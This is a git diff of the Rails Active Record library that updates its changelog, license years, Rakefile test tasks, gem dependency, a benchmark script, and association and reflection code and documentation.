+* When using a custom `join_table` name on a `habtm`, rails was not saving it
+ on Reflections. This causes a problem when rails loads fixtures, because it
+ uses the reflections to set database with fixtures.
- Fixes #10669.
+ Fixes #14845.
- *Neeraj Singh and iwiznia*
+ *Kassio Borges*
-* Do not load all child records for inverse case.
+* Reset the cache when modifying a Relation with cached Arel.
+ Additionally display a warning message to make the user aware.
- currently `post.comments.find(Comment.first.id)` would load all
- comments for the given post to set the inverse association.
+ *Yves Senn*
- This has a huge performance penalty. Because if post has 100k
- records and all these 100k records would be loaded in memory
- even though the comment id was supplied.
+* PostgreSQL should internally use `:datetime` consistently for TimeStamp. Assures
+ different spellings of timestamps are treated the same.
- Fix is to use in-memory records only if loaded? is true. Otherwise
- load the records using full sql.
+ Example:
- Fixes #10509.
+ mytimestamp.simplified_type('timestamp without time zone')
+ # => :datetime
+ mytimestamp.simplified_type('timestamp(6) without time zone')
+ # => also :datetime (previously would be :timestamp)
- *Neeraj Singh*
+ See #14513.
-* `inspect` on Active Record model classes does not initiate a
- new connection. This means that calling `inspect`, when the
- database is missing, will no longer raise an exception.
- Fixes #10936.
+ *Jefferson Lai*
- Example:
+* `ActiveRecord::Base.no_touching` no longer triggers callbacks or start empty transactions.
- Author.inspect # => "Author(no database connection)"
+ Fixes #14841.
- *Yves Senn*
+ *Lucas Mazza*
-* Handle single quotes in PostgreSQL default column values.
- Fixes #10881.
+* Fix name collision with `Array#select!` with `Relation#select!`.
- *Dylan Markow*
+ Fixes #14752.
-* Log the sql that is actually sent to the database.
+ *Earl St Sauver*
- If I have a query that produces sql
- `WHERE "users"."name" = 'a b'` then in the log all the
- whitespace is being squeezed. So the sql that is printed in the
- log is `WHERE "users"."name" = 'a b'`.
+* Fixed unexpected behavior for `has_many :through` associations going through a scoped `has_many`.
- Do not squeeze whitespace out of sql queries. Fixes #10982.
+ If a `has_many` association is adjusted using a scope, and another `has_many :through`
+ uses this association, then the scope adjustment is unexpectedly neglected.
- *Neeraj Singh*
+ Fixes #14537.
-* Fixture setup does no longer depend on `ActiveRecord::Base.configurations`.
- This is relevant when `ENV["DATABASE_URL"]` is used in place of a `database.yml`.
+ *Jan Habermann*
- *Yves Senn*
+* `@destroyed` should always be set to `false` when an object is duped.
-* Fix mysql2 adapter raises the correct exception when executing a query on a
- closed connection.
+ *Kuldeep Aggarwal*
- *Yves Senn*
+* Fixed has_many association to make it support irregular inflections.
-* Ambiguous reflections are on :through relationships are no longer supported.
- For example, you need to change this:
+ Fixes #8928.
- class Author < ActiveRecord::Base
- has_many :posts
- has_many :taggings, :through => :posts
- end
+ *arthurnn*, *Javier Goizueta*
- class Post < ActiveRecord::Base
- has_one :tagging
- has_many :taggings
- end
+* Fixed a problem where count used with a grouping was not returning a Hash.
- class Tagging < ActiveRecord::Base
- end
+ Fixes #14721.
- To this:
+ *Eric Chahin*
- class Author < ActiveRecord::Base
- has_many :posts
- has_many :taggings, :through => :posts, :source => :tagging
- end
+* `sanitize_sql_like` helper method to escape a string for safe use in a SQL
+ LIKE statement.
- class Post < ActiveRecord::Base
- has_one :tagging
- has_many :taggings
- end
+ Example:
- class Tagging < ActiveRecord::Base
+ class Article
+ def self.search(term)
+ where("title LIKE ?", sanitize_sql_like(term))
+ end
end
- *Aaron Patterson*
+ Article.search("20% _reduction_")
+ # => Query looks like "... title LIKE '20\% \_reduction\_' ..."
+
+ *Rob Gilson*, *Yves Senn*
+
+* Do not quote uuid default value on `change_column`.
+
+ Fixes #14604.
-* Remove column restrictions for `count`, let the database raise if the SQL is
- invalid. The previous behavior was untested and surprising for the user.
- Fixes #5554.
+ *Eric Chahin*
+
+* The comparison between `Relation` and `CollectionProxy` should be consistent.
Example:
- User.select("name, username").count
- # Before => SELECT count(*) FROM users
- # After => ActiveRecord::StatementInvalid
+ author.posts == Post.where(author_id: author.id)
+ # => true
+ Post.where(author_id: author.id) == author.posts
+ # => true
- # you can still use `count(:all)` to perform a query unrelated to the
- # selected columns
- User.select("name, username").count(:all) # => SELECT count(*) FROM users
+ Fixes #13506.
- *Yves Senn*
+ *Lauro Caetano*
-* Rails now automatically detects inverse associations. If you do not set the
- `:inverse_of` option on the association, then Active Record will guess the
- inverse association based on heuristics.
+* Calling `delete_all` on an unloaded `CollectionProxy` no longer
+ generates a SQL statement containing each id of the collection:
- Note that automatic inverse detection only works on `has_many`, `has_one`,
- and `belongs_to` associations. Extra options on the associations will
- also prevent the association's inverse from being found automatically.
+ Before:
- The automatic guessing of the inverse association uses a heuristic based
- on the name of the class, so it may not work for all associations,
- especially the ones with non-standard names.
+ DELETE FROM `model` WHERE `model`.`parent_id` = 1
+ AND `model`.`id` IN (1, 2, 3...)
- You can turn off the automatic detection of inverse associations by setting
- the `:inverse_of` option to `false` like so:
+ After:
- class Taggable < ActiveRecord::Base
- belongs_to :tag, inverse_of: false
- end
+ DELETE FROM `model` WHERE `model`.`parent_id` = 1
+
+ *Eileen M. Uchitelle*, *Aaron Patterson*
+
+* Fixed error for aggregate methods (`empty?`, `any?`, `count`) with `select`
+ which created invalid SQL.
+
+ Fixes #13648.
+
+ *Simon Woker*
+
+* PostgreSQL adapter only warns once for every missing OID per connection.
+
+ Fixes #14275.
+
+ *Matthew Draper*, *Yves Senn*
+
+* PostgreSQL adapter automatically reloads it's type map when encountering
+ unknown OIDs.
+
+ Fixes #14678.
+
+ *Matthew Draper*, *Yves Senn*
+
+* Fix insertion of records via `has_many :through` association with scope.
+
+ Fixes #3548.
+
+ *Ivan Antropov*
+
+* Auto-generate stable fixture UUIDs on PostgreSQL.
+
+ Fixes: #11524
+
+ *Roderick van Domburg*
+
+* Fixed a problem where an enum would overwrite values of another enum
+ with the same name in an unrelated class.
+
+ Fixes #14607.
+
+ *Evan Whalen*
+
+* PostgreSQL and SQLite string columns no longer have a default limit of 255.
+
+ Fixes #13435, #9153.
+
+ *Vladimir Sazhin*, *Toms Mikoss*, *Yves Senn*
+
+* Make possible to have an association called `records`.
+
+ Fixes #11645.
+
+ *prathamesh-sonpatki*
+
+* `to_sql` on an association now matches the query that is actually executed, where it
+ could previously have incorrectly accrued additional conditions (e.g. as a result of
+ a previous query). CollectionProxy now always defers to the association scope's
+ `arel` method so the (incorrect) inherited one should be entirely concealed.
+
+ Fixes #14003.
+
+ *Jefferson Lai*
+
+* Block a few default Class methods as scope name.
+
+ For instance, this will raise:
+
+ scope :public, -> { where(status: 1) }
+
+ *arthurnn*
- *John Wang*
+* Fixed error when using `with_options` with lambda.
-* Fix `add_column` with `array` option when using PostgreSQL. Fixes #10432
+ Fixes #9805.
- *Adam Anderson*
+ *Lauro Caetano*
-* Usage of `implicit_readonly` is being removed`. Please use `readonly` method
- explicitly to mark records as `readonly.
- Fixes #10615.
+* Switch `sqlite3:///` URLs (which were temporarily
+ deprecated in 4.1) from relative to absolute.
+
+ If you still want the previous interpretation, you should replace
+ `sqlite3:///my/path` with `sqlite3:my/path`.
+
+ *Matthew Draper*
+
+* Treat blank UUID values as `nil`.
Example:
- user = User.joins(:todos).select("users.*, todos.title as todos_title").readonly(true).first
- user.todos_title = 'clean pet'
- user.save! # will raise error
+ Sample.new(uuid_field: '') #=> <Sample id: nil, uuid_field: nil>
+
+ *Dmitry Lavrov*
+
+* Enable support for materialized views on PostgreSQL >= 9.3.
+
+ *Dave Lee*
+
+* The PostgreSQL adapter supports custom domains. Fixes #14305.
*Yves Senn*
-* Fix the `:primary_key` option for `has_many` associations.
- Fixes #10693.
+* PostgreSQL `Column#type` is now determined through the corresponding OID.
+ The column types stay the same except for enum columns. They no longer have
+ `nil` as type but `enum`.
+
+ See #7814.
*Yves Senn*
-* Fix bug where tiny types are incorrectly coerced as boolean when the length is more than 1.
+* Fixed error when specifying a non-empty default value on a PostgreSQL array column.
+
+ Fixes #10613.
- Fixes #10620.
+ *Luke Steensen*
- *Aaron Patterson*
+* Make possible to change `record_timestamps` inside Callbacks.
-* Also support extensions in PostgreSQL 9.1. This feature has been supported since 9.1.
+ *Tieg Zaharia*
- *kennyj*
+* Fixed error where .persisted? throws SystemStackError for an unsaved model with a
+ custom primary key that didn't save due to validation error.
-* Deprecate `ConnectionAdapters::SchemaStatements#distinct`,
- as it is no longer used by internals.
+ Fixes #14393.
- *Ben Woosley*
+ *Chris Finne*
-* Fix pending migrations error when loading schema and `ActiveRecord::Base.table_name_prefix`
- is not blank.
+* Introduce `validate` as an alias for `valid?`.
- Call `assume_migrated_upto_version` on connection to prevent it from first
- being picked up in `method_missing`.
+ This is more intuitive when you want to run validations but don't care about the return value.
- In the base class, `Migration`, `method_missing` expects the argument to be a
- table name, and calls `proper_table_name` on the arguments before sending to
- `connection`. If `table_name_prefix` or `table_name_suffix` is used, the schema
- version changes to `prefix_version_suffix`, breaking `rake test:prepare`.
+ *Henrik Nyh*
- Fixes #10411.
+* Create indexes inline in CREATE TABLE for MySQL.
- *Kyle Stevens*
+ This is important, because adding an index on a temporary table after it has been created
+ would commit the transaction.
-* Method `read_attribute_before_type_cast` should accept input as symbol.
+ It also allows creating and dropping indexed tables with fewer queries and fewer permissions
+ required.
- *Neeraj Singh*
+ Example:
-* Confirm a record has not already been destroyed before decrementing counter cache.
+ create_table :temp, temporary: true, as: "SELECT id, name, zip FROM a_really_complicated_query" do |t|
+ t.index :zip
+ end
+ # => CREATE TEMPORARY TABLE temp (INDEX (zip)) AS SELECT id, name, zip FROM a_really_complicated_query
- *Ben Tucker*
+ *Cody Cutrer*, *Steve Rice*, *Rafael Mendonça Franca*
-* Fixed a bug in `ActiveRecord#sanitize_sql_hash_for_conditions` in which
- `self.class` is an argument to `PredicateBuilder#build_from_hash`
- causing `PredicateBuilder` to call non-existent method
- `Class#reflect_on_association`.
+* Save `has_one` association even if the record doesn't changed.
- *Zach Ohlgren*
+ Fixes #14407.
-* While removing index if column option is missing then raise IrreversibleMigration exception.
+ *Rafael Mendonça França*
- Following code should raise `IrreversibleMigration`. But the code was
- failing since options is an array and not a hash.
+* Use singular table name in generated migrations when
+ `ActiveRecord::Base.pluralize_table_names` is `false`.
- def change
- change_table :users do |t|
- t.remove_index [:name, :email]
- end
- end
+ Fixes #13426.
- Fix was to check if the options is a Hash before operating on it.
+ *Kuldeep Aggarwal*
- Fixes #10419.
+* `touch` accepts many attributes to be touched at once.
- *Neeraj Singh*
+ Example:
-* Do not overwrite manually built records during one-to-one nested attribute assignment
+ # touches :signed_at, :sealed_at, and :updated_at/on attributes.
+ Photo.last.touch(:signed_at, :sealed_at)
- For one-to-one nested associations, if you build the new (in-memory)
- child object yourself before assignment, then the NestedAttributes
- module will not overwrite it, e.g.:
+ *James Pinto*
- class Member < ActiveRecord::Base
- has_one :avatar
- accepts_nested_attributes_for :avatar
+* `rake db:structure:dump` only dumps schema information if the schema
+ migration table exists.
- def avatar
- super || build_avatar(width: 200)
- end
- end
+ Fixes #14217.
- member = Member.new
- member.avatar_attributes = {icon: 'sad'}
- member.avatar.width # => 200
+ *Yves Senn*
- *Olek Janiszewski*
+* Reap connections that were checked out by now-dead threads, instead
+ of waiting until they disconnect by themselves. Before this change,
+ a suitably constructed series of short-lived threads could starve
+ the connection pool, without ever having more than a couple alive at
+ the same time.
-* fixes bug introduced by #3329. Now, when autosaving associations,
- deletions happen before inserts and saves. This prevents a 'duplicate
- unique value' database error that would occur if a record being created had
- the same value on a unique indexed field as that of a record being destroyed.
+ *Matthew Draper*
- *Johnny Holton*
+* `pk_and_sequence_for` now ensures that only the pg_depend entries
+ pointing to pg_class, and thus only sequence objects, are considered.
-* Handle aliased attributes in ActiveRecord::Relation.
+ *Josh Williams*
- When using symbol keys, ActiveRecord will now translate aliased attribute names to the actual column name used in the database:
+* `where.not` adds `references` for `includes` like normal `where` calls do.
- With the model
+ Fixes #14406.
- class Topic
- alias_attribute :heading, :title
- end
+ *Yves Senn*
- The call
+* Extend fixture `$LABEL` replacement to allow string interpolation.
- Topic.where(heading: 'The First Topic')
+ Example:
- should yield the same result as
+ martin:
+ email: $LABEL@email.com
- Topic.where(title: 'The First Topic')
+ users(:martin).email # => martin@email.com
- This also applies to ActiveRecord::Relation::Calculations calls such as `Model.sum(:aliased)` and `Model.pluck(:aliased)`.
+ *Eric Steele*
- This will not work with SQL fragment strings like `Model.sum('DISTINCT aliased')`.
+* Add support for `Relation` be passed as parameter on `QueryCache#select_all`.
- *Godfrey Chan*
+ Fixes #14361.
+
+ *arthurnn*
+
+* Passing an Active Record object to `find` is now deprecated. Call `.id`
+ on the object first.
+
+* Passing an Active Record object to `find` or `exists?` is now deprecated.
+ Call `.id` on the object first.
+
+* Only use BINARY for MySQL case sensitive uniqueness check when column has a case insensitive collation.
+
+ *Ryuta Kamizono*
-* Mute `psql` output when running rake db:schema:load.
+* Support for MySQL 5.6 fractional seconds.
+
+ *arthurnn*, *Tatsuhiko Miyagawa*
+
+* Support for Postgres `citext` data type enabling case-insensitive where
+ values without needing to wrap in UPPER/LOWER sql functions.
+
+ *Troy Kruthoff*, *Lachlan Sylvester*
+
+* Allow strings to specify the `#order` value.
+
+ Example:
+
+ Model.order(id: 'asc').to_sql == Model.order(id: :asc).to_sql
+
+ *Marcelo Casiraghi*, *Robin Dupret*
+
+* Dynamically register PostgreSQL enum OIDs. This prevents "unknown OID"
+ warnings on enum columns.
+
+ *Dieter Komendera*
+
+* `includes` is able to detect the right preloading strategy when string
+ joins are involved.
+
+ Fixes #14109.
+
+ *Aaron Patterson*, *Yves Senn*
+
+* Fixed error with validation with enum fields for records where the
+ value for any enum attribute is always evaluated as 0 during
+ uniqueness validation.
+
+ Fixes #14172.
+
+ *Vilius Luneckas* *Ahmed AbouElhamayed*
+
+* `before_add` callbacks are fired before the record is saved on
+ `has_and_belongs_to_many` assocations *and* on `has_many :through`
+ associations. Before this change, `before_add` callbacks would be fired
+ before the record was saved on `has_and_belongs_to_many` associations, but
+ *not* on `has_many :through` associations.
+
+ Fixes #14144.
+
+* Fixed STI classes not defining an attribute method if there is a
+ conflicting private method defined on its ancestors.
+
+ Fixes #11569.
*Godfrey Chan*
-* Trigger a save on `has_one association=(associate)` when the associate contents have changed.
+* Coerce strings when reading attributes. Fixes #10485.
- Fix #8856.
+ Example:
+
+ book = Book.new(title: 12345)
+ book.save!
+ book.title # => "12345"
+
+ *Yves Senn*
- *Chris Thompson*
+* Deprecate half-baked support for PostgreSQL range values with excluding beginnings.
+ We currently map PostgreSQL ranges to Ruby ranges. This conversion is not fully
+ possible because the Ruby range does not support excluded beginnings.
-* Abort a rake task when missing db/structure.sql like `db:schema:load` task.
+ The current solution of incrementing the beginning is not correct and is now
+ deprecated. For subtypes where we don't know how to increment (e.g. `#succ`
+ is not defined) it will raise an ArgumentException for ranges with excluding
+ beginnings.
- *kennyj*
+ *Yves Senn*
-* rake:db:test:prepare falls back to original environment after execution.
+* Support for user created range types in PostgreSQL.
- *Slava Markevich*
+ *Yves Senn*
-Please check [4-0-stable](https://github.com/rails/rails/blob/4-0-stable/activerecord/CHANGELOG.md) for previous changes.
+Please check [4-1-stable](https://github.com/rails/rails/blob/4-1-stable/activerecord/CHANGELOG.md) for previous changes.
diff --git a/activerecord/MIT-LICENSE b/activerecord/MIT-LICENSE
index 0d7fb865e2..2950f05b11 100644
--- a/activerecord/MIT-LICENSE
+++ b/activerecord/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2004-2013 David Heinemeier Hansson
+Copyright (c) 2004-2014 David Heinemeier Hansson
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
diff --git a/activerecord/RUNNING_UNIT_TESTS.rdoc b/activerecord/RUNNING_UNIT_TESTS.rdoc
index c3ee34da55..ca1f2fd665 100644
--- a/activerecord/RUNNING_UNIT_TESTS.rdoc
+++ b/activerecord/RUNNING_UNIT_TESTS.rdoc
@@ -24,6 +24,7 @@ Simply executing <tt>bundle exec rake test</tt> is equivalent to the following:
$ bundle exec rake test_mysql2
$ bundle exec rake test_postgresql
$ bundle exec rake test_sqlite3
+ $ bundle exec rake test_sqlite3_mem
There should be tests available for each database backend listed in the {Config
File}[rdoc-label:label-Config+File]. (the exact set of available tests is
diff --git a/activerecord/Rakefile b/activerecord/Rakefile
index 18f03e6562..6f8948f987 100644
--- a/activerecord/Rakefile
+++ b/activerecord/Rakefile
@@ -39,8 +39,10 @@ namespace :test do
end
namespace :db do
- task :create => ['mysql:build_databases', 'postgresql:build_databases']
- task :drop => ['mysql:drop_databases', 'postgresql:drop_databases']
+ desc 'Build MySQL and PostgreSQL test databases'
+ task create: ['mysql:build_databases', 'postgresql:build_databases']
+ desc 'Drop MySQL and PostgreSQL test databases'
+ task drop: ['mysql:drop_databases', 'postgresql:drop_databases']
end
%w( mysql mysql2 postgresql sqlite3 sqlite3_mem firebird db2 oracle sybase openbase frontbase jdbcmysql jdbcpostgresql jdbcsqlite3 jdbcderby jdbch2 jdbchsqldb ).each do |adapter|
@@ -58,11 +60,10 @@ end
task "isolated_test_#{adapter}" do
adapter_short = adapter == 'db2' ? adapter : adapter[/^[a-z0-9]+/]
puts [adapter, adapter_short].inspect
- ruby = File.join(*RbConfig::CONFIG.values_at('bindir', 'RUBY_INSTALL_NAME'))
(Dir["test/cases/**/*_test.rb"].reject {
|x| x =~ /\/adapters\//
} + Dir["test/cases/adapters/#{adapter_short}/**/*_test.rb"]).all? do |file|
- sh(ruby, '-w' ,"-Itest", file)
+ sh(Gem.ruby, '-w' ,"-Itest", file)
end or raise "Failures"
end
@@ -119,12 +120,9 @@ namespace :postgresql do
%x( createdb -E UTF8 -T template0 #{config['arunit']['database']} )
%x( createdb -E UTF8 -T template0 #{config['arunit2']['database']} )
- # prepare hstore
- version = %x( createdb --version ).strip.gsub(/(.*)(\d\.\d\.\d)$/, "\\2")
- %w(arunit arunit2).each do |db|
- if version < "9.1.0"
- puts "Please prepare hstore data type. See http://www.postgresql.org/docs/9.0/static/hstore.html"
- end
+ # notify about preparing hstore
+ if %x( createdb --version ).strip.gsub(/(.*)(\d\.\d\.\d)$/, "\\2") < "9.1.0"
+ puts "Please prepare hstore data type. See http://www.postgresql.org/docs/9.0/static/hstore.html"
end
end
diff --git a/activerecord/activerecord.gemspec b/activerecord/activerecord.gemspec
index 9986ded904..d397c9e016 100644
--- a/activerecord/activerecord.gemspec
+++ b/activerecord/activerecord.gemspec
@@ -24,5 +24,5 @@ Gem::Specification.new do |s|
s.add_dependency 'activesupport', version
s.add_dependency 'activemodel', version
- s.add_dependency 'arel', '~> 4.0.0'
+ s.add_dependency 'arel', '~> 5.0.0'
end
diff --git a/activerecord/examples/performance.rb b/activerecord/examples/performance.rb
index 91697b3c9c..d3546ce948 100644
--- a/activerecord/examples/performance.rb
+++ b/activerecord/examples/performance.rb
@@ -43,6 +43,8 @@ class Exhibit < ActiveRecord::Base
def self.feel(exhibits) exhibits.each { |e| e.feel } end
end
+def progress_bar(int); print "." if (int%100).zero? ; end
+
puts 'Generating data...'
module ActiveRecord
@@ -75,7 +77,7 @@ notes = ActiveRecord::Faker::LOREM.join ' '
today = Date.today
puts "Inserting #{RECORDS} users and exhibits..."
-RECORDS.times do
+RECORDS.times do |record|
user = User.create(
created_at: today,
name: ActiveRecord::Faker.name,
@@ -88,7 +90,9 @@ RECORDS.times do
user: user,
notes: notes
)
+ progress_bar(record)
end
+puts "Done!\n"
Benchmark.ips(TIME) do |x|
ar_obj = Exhibit.find(1)
@@ -117,10 +121,18 @@ Benchmark.ips(TIME) do |x|
Exhibit.first.look
end
+ x.report 'Model.take' do
+ Exhibit.take
+ end
+
x.report("Model.all limit(100)") do
Exhibit.look Exhibit.limit(100)
end
+ x.report("Model.all take(100)") do
+ Exhibit.look Exhibit.take(100)
+ end
+
x.report "Model.all limit(100) with relationship" do
Exhibit.feel Exhibit.limit(100).includes(:user)
end
@@ -167,6 +179,6 @@ Benchmark.ips(TIME) do |x|
end
x.report "AR.execute(query)" do
- ActiveRecord::Base.connection.execute("Select * from exhibits where id = #{(rand * 1000 + 1).to_i}")
+ ActiveRecord::Base.connection.execute("SELECT * FROM exhibits WHERE id = #{(rand * 1000 + 1).to_i}")
end
end
diff --git a/activerecord/lib/active_record.rb b/activerecord/lib/active_record.rb
index 00220cbfe6..f856c482d6 100644
--- a/activerecord/lib/active_record.rb
+++ b/activerecord/lib/active_record.rb
@@ -1,5 +1,5 @@
#--
-# Copyright (c) 2004-2013 David Heinemeier Hansson
+# Copyright (c) 2004-2014 David Heinemeier Hansson
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
@@ -37,6 +37,7 @@ module ActiveRecord
autoload :ConnectionHandling
autoload :CounterCache
autoload :DynamicMatchers
+ autoload :Enum
autoload :Explain
autoload :Inheritance
autoload :Integration
@@ -44,6 +45,7 @@ module ActiveRecord
autoload :Migrator, 'active_record/migration'
autoload :ModelSchema
autoload :NestedAttributes
+ autoload :NoTouching
autoload :Persistence
autoload :QueryCache
autoload :Querying
@@ -145,13 +147,8 @@ module ActiveRecord
autoload :MySQLDatabaseTasks, 'active_record/tasks/mysql_database_tasks'
autoload :PostgreSQLDatabaseTasks,
'active_record/tasks/postgresql_database_tasks'
-
- autoload :FirebirdDatabaseTasks, 'active_record/tasks/firebird_database_tasks'
- autoload :SqlserverDatabaseTasks, 'active_record/tasks/sqlserver_database_tasks'
- autoload :OracleDatabaseTasks, 'active_record/tasks/oracle_database_tasks'
end
- autoload :TestCase
autoload :TestFixtures, 'active_record/fixtures'
def self.eager_load!
diff --git a/activerecord/lib/active_record/aggregations.rb b/activerecord/lib/active_record/aggregations.rb
index 9d1c12ec62..0d5313956b 100644
--- a/activerecord/lib/active_record/aggregations.rb
+++ b/activerecord/lib/active_record/aggregations.rb
@@ -223,7 +223,8 @@ module ActiveRecord
reader_method(name, class_name, mapping, allow_nil, constructor)
writer_method(name, class_name, mapping, allow_nil, converter)
- create_reflection(:composed_of, part_id, nil, options, self)
+ reflection = ActiveRecord::Reflection.create(:composed_of, part_id, nil, options, self)
+ Reflection.add_aggregate_reflection self, part_id, reflection
end
private
diff --git a/activerecord/lib/active_record/association_relation.rb b/activerecord/lib/active_record/association_relation.rb
index 20516bba0c..5a84792f45 100644
--- a/activerecord/lib/active_record/association_relation.rb
+++ b/activerecord/lib/active_record/association_relation.rb
@@ -9,6 +9,10 @@ module ActiveRecord
@association
end
+ def ==(other)
+ other == to_a
+ end
+
private
def exec_queries
diff --git a/activerecord/lib/active_record/associations.rb b/activerecord/lib/active_record/associations.rb
index 6fd4f3042c..ac1479ad8f 100644
--- a/activerecord/lib/active_record/associations.rb
+++ b/activerecord/lib/active_record/associations.rb
@@ -4,6 +4,12 @@ require 'active_support/core_ext/module/remove_method'
require 'active_record/errors'
module ActiveRecord
+ class AssociationNotFoundError < ConfigurationError #:nodoc:
+ def initialize(record, association_name)
+ super("Association named '#{association_name}' was not found on #{record.class.name}; perhaps you misspelled it?")
+ end
+ end
+
class InverseOfAssociationNotFoundError < ActiveRecordError #:nodoc:
def initialize(reflection, associated_class = nil)
super("Could not find the inverse association for #{reflection.name} (#{reflection.options[:inverse_of].inspect} in #{associated_class.nil? ? reflection.class_name : associated_class.name})")
@@ -73,21 +79,15 @@ module ActiveRecord
end
end
- class HasAndBelongsToManyAssociationForeignKeyNeeded < ActiveRecordError #:nodoc:
- def initialize(reflection)
- super("Cannot create self referential has_and_belongs_to_many association on '#{reflection.class_name rescue nil}##{reflection.name rescue nil}'. :association_foreign_key cannot be the same as the :foreign_key.")
- end
- end
-
class EagerLoadPolymorphicError < ActiveRecordError #:nodoc:
def initialize(reflection)
- super("Can not eagerly load the polymorphic association #{reflection.name.inspect}")
+ super("Cannot eagerly load the polymorphic association #{reflection.name.inspect}")
end
end
class ReadOnlyAssociation < ActiveRecordError #:nodoc:
def initialize(reflection)
- super("Can not add to a has_many :through association. Try adding to #{reflection.through_reflection.name.inspect}.")
+ super("Cannot add to a has_many :through association. Try adding to #{reflection.through_reflection.name.inspect}.")
end
end
@@ -114,7 +114,6 @@ module ActiveRecord
autoload :BelongsToAssociation, 'active_record/associations/belongs_to_association'
autoload :BelongsToPolymorphicAssociation, 'active_record/associations/belongs_to_polymorphic_association'
- autoload :HasAndBelongsToManyAssociation, 'active_record/associations/has_and_belongs_to_many_association'
autoload :HasManyAssociation, 'active_record/associations/has_many_association'
autoload :HasManyThroughAssociation, 'active_record/associations/has_many_through_association'
autoload :HasOneAssociation, 'active_record/associations/has_one_association'
@@ -137,7 +136,6 @@ module ActiveRecord
autoload :JoinDependency, 'active_record/associations/join_dependency'
autoload :AssociationScope, 'active_record/associations/association_scope'
autoload :AliasTracker, 'active_record/associations/alias_tracker'
- autoload :JoinHelper, 'active_record/associations/join_helper'
end
# Clears out the association cache.
@@ -153,7 +151,7 @@ module ActiveRecord
association = association_instance_get(name)
if association.nil?
- reflection = self.class.reflect_on_association(name)
+ raise AssociationNotFoundError.new(self, name) unless reflection = self.class.reflect_on_association(name)
association = reflection.association_class.new(self, reflection)
association_instance_set(name, association)
end
@@ -164,7 +162,7 @@ module ActiveRecord
private
# Returns the specified association instance if it responds to :loaded?, nil otherwise.
def association_instance_get(name)
- @association_cache[name.to_sym]
+ @association_cache[name]
end
# Set the specified association instance.
@@ -538,8 +536,8 @@ module ActiveRecord
# end
#
# @firm = Firm.first
- # @firm.clients.collect { |c| c.invoices }.flatten # select all invoices for all clients of the firm
- # @firm.invoices # selects all invoices by going through the Client join model
+ # @firm.clients.flat_map { |c| c.invoices } # select all invoices for all clients of the firm
+ # @firm.invoices # selects all invoices by going through the Client join model
#
# Similarly you can go through a +has_one+ association on the join model:
#
@@ -676,11 +674,14 @@ module ActiveRecord
# and member posts that use the posts table for STI. In this case, there must be a +type+
# column in the posts table.
#
+ # Note: The <tt>attachable_type=</tt> method is being called when assigning an +attachable+.
+ # The +class_name+ of the +attachable+ is passed as a String.
+ #
# class Asset < ActiveRecord::Base
# belongs_to :attachable, polymorphic: true
#
- # def attachable_type=(sType)
- # super(sType.to_s.classify.constantize.base_class.to_s)
+ # def attachable_type=(class_name)
+ # super(class_name.constantize.base_class.to_s)
# end
# end
#
@@ -772,11 +773,16 @@ module ActiveRecord
# like this can have unintended consequences.
# In the above example posts with no approved comments are not returned at all, because
# the conditions apply to the SQL statement as a whole and not just to the association.
+ #
# You must disambiguate column references for this fallback to happen, for example
# <tt>order: "author.name DESC"</tt> will work but <tt>order: "name DESC"</tt> will not.
#
- # If you do want eager load only some members of an association it is usually more natural
- # to include an association which has conditions defined on it:
+ # If you want to load all posts (including posts with no approved comments) then write
+ # your own LEFT OUTER JOIN query using ON
+ #
+ # Post.joins("LEFT OUTER JOIN comments ON comments.post_id = posts.id AND comments.approved = '1'")
+ #
+ # In this case it is usually more natural to include an association which has conditions defined on it:
#
# class Post < ActiveRecord::Base
# has_many :approved_comments, -> { where approved: true }, class_name: 'Comment'
@@ -1041,6 +1047,9 @@ module ActiveRecord
# Specifies a one-to-many association. The following methods for retrieval and query of
# collections of associated objects will be added:
#
+ # +collection+ is a placeholder for the symbol passed as the first argument, so
+ # <tt>has_many :clients</tt> would add among others <tt>clients.empty?</tt>.
+ #
# [collection(force_reload = false)]
# Returns an array of all the associated objects.
# An empty array is returned if none are found.
@@ -1099,9 +1108,6 @@ module ActiveRecord
# Does the same as <tt>collection.create</tt>, but raises <tt>ActiveRecord::RecordInvalid</tt>
# if the record is invalid.
#
- # (*Note*: +collection+ is replaced with the symbol passed as the first argument, so
- # <tt>has_many :clients</tt> would add among others <tt>clients.empty?</tt>.)
- #
# === Example
#
# A <tt>Firm</tt> class declares <tt>has_many :clients</tt>, which will add:
@@ -1205,7 +1211,8 @@ module ActiveRecord
# has_many :reports, -> { readonly }
# has_many :subscribers, through: :subscriptions, source: :user
def has_many(name, scope = nil, options = {}, &extension)
- Builder::HasMany.build(self, name, scope, options, &extension)
+ reflection = Builder::HasMany.build(self, name, scope, options, &extension)
+ Reflection.add_reflection self, name, reflection
end
# Specifies a one-to-one association with another class. This method should only be used
@@ -1215,11 +1222,15 @@ module ActiveRecord
#
# The following methods for retrieval and query of a single associated object will be added:
#
+ # +association+ is a placeholder for the symbol passed as the first argument, so
+ # <tt>has_one :manager</tt> would add among others <tt>manager.nil?</tt>.
+ #
# [association(force_reload = false)]
# Returns the associated object. +nil+ is returned if none is found.
# [association=(associate)]
# Assigns the associate object, extracts the primary key, sets it as the foreign key,
- # and saves the associate object.
+ # and saves the associate object. To avoid database inconsistencies, permanently deletes an existing
+ # associated object when assigning a new one, even if the new one isn't saved to database.
# [build_association(attributes = {})]
# Returns a new object of the associated type that has been instantiated
# with +attributes+ and linked to this object through a foreign key, but has not
@@ -1232,9 +1243,6 @@ module ActiveRecord
# Does the same as <tt>create_association</tt>, but raises <tt>ActiveRecord::RecordInvalid</tt>
# if the record is invalid.
#
- # (+association+ is replaced with the symbol passed as the first argument, so
- # <tt>has_one :manager</tt> would add among others <tt>manager.nil?</tt>.)
- #
# === Example
#
# An Account class declares <tt>has_one :beneficiary</tt>, which will add:
@@ -1308,7 +1316,8 @@ module ActiveRecord
# has_one :club, through: :membership
# has_one :primary_address, -> { where primary: true }, through: :addressables, source: :addressable
def has_one(name, scope = nil, options = {})
- Builder::HasOne.build(self, name, scope, options)
+ reflection = Builder::HasOne.build(self, name, scope, options)
+ Reflection.add_reflection self, name, reflection
end
# Specifies a one-to-one association with another class. This method should only be used
@@ -1319,6 +1328,9 @@ module ActiveRecord
# Methods will be added for retrieval and query for a single associated object, for which
# this object holds an id:
#
+ # +association+ is a placeholder for the symbol passed as the first argument, so
+ # <tt>belongs_to :author</tt> would add among others <tt>author.nil?</tt>.
+ #
# [association(force_reload = false)]
# Returns the associated object. +nil+ is returned if none is found.
# [association=(associate)]
